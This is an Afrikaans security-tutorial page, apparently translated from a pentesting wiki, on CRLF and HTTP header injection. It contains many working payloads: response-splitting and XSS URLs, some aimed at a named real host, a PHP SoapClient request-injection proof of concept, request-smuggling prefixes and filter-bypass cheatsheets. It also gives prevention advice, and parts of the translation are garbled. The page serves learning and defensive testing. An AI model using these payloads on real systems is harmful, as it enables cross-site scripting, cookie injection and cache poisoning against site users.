CRLF (%0D%0A) Inspuiting

CRLF

Carriage Return (CR) en Line Feed (LF), saam bekend as CRLF, is spesiale karakterreekse wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaiers gebruik CRLF om te onderskei tussen HTTP-koptekste en die liggaam van 'n antwoord. Hierdie karakters word universeel in HTTP/1.1 kommunikasie oor verskeie webbediener tipes, soos Apache en Microsoft IIS, gebruik.

CRLF Inspuiting Kw vulnerability

CRLF inspuiting behels die invoeging van CR en LF karakters in gebruiker-geleverde insette. Hierdie aksie mislei die bediener, toepassing of gebruiker om die ingevoegde reeks as die einde van een antwoord en die begin van 'n ander te interpreteer. Terwyl hierdie karakters nie van nature skadelik is nie, kan hulle misbruik lei tot HTTP antwoord splitsing en ander kwaadwillige aktiwiteite.

Voorbeeld: CRLF Inspuiting in 'n Loglêer

Voorbeeld van hier

Oorweeg 'n loglêer in 'n adminpaneel wat die formaat volg: IP - Tyd - Gvisited Pad. 'n Tipiese inskrywing mag lyk soos:

123.123.123.123 - 08:15 - /index.php?page=home

'n Aanvaller kan 'n CRLF-inspuiting benut om hierdie log te manipuleer. Deur CRLF-karakters in die HTTP-versoek in te spuit, kan die aanvaller die uitvoerstroom verander en loginskrywings vervals. Byvoorbeeld, 'n ingespuite reeks kan die loginskrywing in die volgende verander:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier, %0d en %0a verteenwoordig die URL-gecodeerde vorms van CR en LF. Na die aanval sal die log misleidend vertoon:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Die aanvaller verberg dus hul kwaadwillige aktiwiteite deur dit te laat lyk asof die localhost (n entiteit wat tipies vertrou word binne die bedieneromgewing) die aksies uitgevoer het. Die bediener interpreteer die deel van die navraag wat met %0d%0a begin as 'n enkele parameter, terwyl die restrictedaction parameter as 'n ander, aparte invoer geparseer word. Die gemanipuleerde navraag imiteer effektief 'n wettige administratiewe opdrag: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beskrywing

HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei koppe van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkop in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitsprobleme, veral Cross-site Scripting (XSS).

XSS deur HTTP Response Splitting

1. Die aansoek stel 'n pasgemaakte kop soos volg in: X-Custom-Header: UserInput
2. Die aansoek haal die waarde vir UserInput uit 'n navraagparameter, sê "user_input". In scenario's waar daar 'n gebrek aan behoorlike invoervalidasie en kodering is, kan 'n aanvaller 'n payload saamstel wat die CRLF-volgorde insluit, gevolg deur kwaadwillige inhoud.
3. 'n Aanvaller stel 'n URL saam met 'n spesiaal saamgestelde 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In hierdie URL is %0d%0a%0d%0a die URL-gecodeerde vorm van CRLFCRLF. Dit mislei die bediener om 'n CRLF-volgorde in te voeg, wat die bediener dwing om die daaropvolgende deel as die antwoordliggaam te behandel.

4. Die bediener reflekteer die aanvaller se invoer in die antwoordkop, wat lei tot 'n onbedoelde antwoordstruktuur waar die kwaadwillige skrip deur die blaaier as deel van die antwoordliggaam geïnterpreteer word.

'n Voorbeeld van HTTP Response Splitting wat tot Oorplasing lei

Van https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Blaaier na:

/%0d%0aLocation:%20http://myweb.com

En die bediener antwoord met die kop:

Location: http://myweb.com

Ander voorbeeld: (van https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Pad

Jy kan die payload binne die URL pad stuur om die antwoord van die bediener te beheer (voorbeeld van hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check meer voorbeelde in:

{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}

HTTP Header Inspuiting

HTTP Header Inspuiting, wat dikwels deur CRLF (Carriage Return en Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP headers in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing.

Exploiteer CORS via HTTP Header Inspuiting

'n Aanvaller kan HTTP headers inspuit om CORS (Cross-Origin Resource Sharing) te aktiveer, wat die beperkings wat deur SOP opgelê word, omseil. Hierdie oortreding stel skripte van kwaadwillige oorspronge in staat om met hulpbronne van 'n ander oorsprong te kommunikeer, wat moontlik toegang tot beskermde data bied.

SSRF en HTTP Versoek Inspuiting via CRLF

CRLF inspuiting kan gebruik word om 'n heeltemal nuwe HTTP versoek te skep en in te voeg. 'n Opmerklike voorbeeld hiervan is die kwesbaarheid in PHP se SoapClient klas, spesifiek binne die user_agent parameter. Deur hierdie parameter te manipuleer, kan 'n aanvaller addisionele headers en liggaamsinhoud invoeg, of selfs 'n nuwe HTTP versoek heeltemal inspuit. Hieronder is 'n PHP voorbeeld wat hierdie uitbuiting demonstreer:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header-inspuiting na Versoek Smuggling

Vir meer inligting oor hierdie tegniek en potensiële probleme kyk die oorspronklike bron.

Jy kan noodsaaklike headers inspuit om te verseker dat die agterkant die verbinding oop hou nadat daar op die aanvanklike versoek geantwoord is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipies HTTP request smuggling, 'n tegniek waar ekstra koptekste of liggaams elemente wat deur die bediener na inspuiting bygevoeg word, kan lei tot verskeie sekuriteitsontploffings.

Eksploitatie:

1. Kwaadwillige Voorvoegsel Inspuiting: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige voorvoegsel te spesifiseer. 'n Voorbeeld hiervan is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Skep 'n Voorvoegsel vir Antwoord Wachtlyn Vergiftiging: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer dit saam met agtergrond rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan antwoord waglyn vergiftiging onttrigger. 'n Voorbeeld is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Inspuiting

Memcache is 'n sleutel-waarde stoor wat 'n duidelike teksprotokol gebruik. Meer inligting in:

{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}

Vir die volledige inligting lees die oorspronklike skrywe

As 'n platform data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer om versoeke na 'n memcache bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om nuwe memcache opdragte in te spuit.

Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet aansluit, terug te gee, en aanvallers was in staat om memcache opdragte in te spuit wat die kas sou vergiftig om die besoeke se besonderhede (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:

Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geweet het nie:

Hoe om CRLF / HTTP Koptekst Inspuitings in Webtoepassings te Voorkom

Om die risiko's van CRLF (Carriage Return and Line Feed) of HTTP Koptekst Inspuitings in webtoepassings te verminder, word die volgende strategieë aanbeveel:

1. Vermy Direkte Gebruiker Invoer in Antwoord Koptekste: Die veiligste benadering is om te weerhou van die insluiting van gebruiker-gelewer invoer direk in antwoord koptekste.
2. Kodeer Spesiale Karakters: As dit nie haalbaar is om direkte gebruiker invoer te vermy nie, verseker om 'n funksie te gebruik wat toegewy is aan die kodeering van spesiale karakters soos CR (Carriage Return) en LF (Line Feed). Hierdie praktyk voorkom die moontlikheid van CRLF inspuiting.
3. Opdateer Programmeertaal: Opdateer gereeld die programmeertaal wat in jou webtoepassings gebruik word na die nuutste weergawe. Kies 'n weergawe wat inherent die inspuiting van CR en LF karakters binne funksies wat verantwoordelik is vir die instelling van HTTP koptekste verbied.

CHEATSHEET

Cheatsheet van hier

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Onlangse Kwetsbaarhede (2023 – 2025)

Die laaste paar jaar het verskeie hoë-impak CRLF/HTTP kop-inspuitfoute in wyd-gebruikte bediener- en kliënt-kant komponente geproduseer. Om dit plaaslik te herproduseer en te bestudeer is 'n uitstekende manier om werklike ontploffingspatrone te verstaan.

Hierdie foute is belangrik omdat hulle geaktiveer word binne toepassingsvlak kode en nie net by die web-bediener se rand nie. Enige interne komponent wat HTTP versoeke uitvoer of responskoppe stel, moet dus CR/LF filtrering afdwing.

Gevorderde Unicode / Beheer-karakter Omseilings

Moderne WAF/herwriter stapels verwyder dikwels letterlike \r/\n maar vergeet van ander karakters wat baie agtergronde as lynterminators behandel. Wanneer CRLF gefiltreer word, probeer:

• %E2%80%A8 (U+2028 – LYNE SKENDE)
• %E2%80%A9 (U+2029 – PARAGRAAF SKENDE)
• %C2%85 (U+0085 – VOLGENDE LYNE)

Sommige Java, Python en Go raamwerke omskakel hierdie na \n tydens kop parsing (sien die 2023 Praetorian navorsing). Kombineer hulle met klassieke payloads:

/%0A%E2%80%A8Set-Cookie:%20admin=true

As die filter eers UTF-8 normaliseer, word die kontrolekarakter in 'n gewone reëlvoer omgeskakel en word die ingeslote kop aanvaar.

WAF Evasie deur Dubbele Content-Encoding Truuk (2023)

Praetorian-ondersoekers het ook gewys dat deur te injecteer:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

in 'n weerspieëlde kop, sal blaaiers die liggaam wat deur die bediener verskaf word, ignoreer en aanvaller-geleverde HTML wat volg, weergee, wat gestoorde XSS gee selfs wanneer die toepassing se eie inhoud inert is. Omdat Content-Encoding: identity deur RFC 9110 toegelaat word, stuur baie omgekeerde proxies dit onveranderd voort.

Outomatiese Gereedskap

• CRLFsuite – vinnige aktiewe skandeerder geskryf in Go.
• crlfuzz – woordlys-gebaseerde fuzzer wat Unicode nuwe reël payloads ondersteun.
• crlfix – 2024 nut wat HTTP versoeke wat deur Go programme gegenereer is, regstel en kan alleen gebruik word om interne dienste te toets.

Brute-Force Opsporing Lys

• carlospolop/Auto_Wordlists – crlf.txt

Verwysings

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/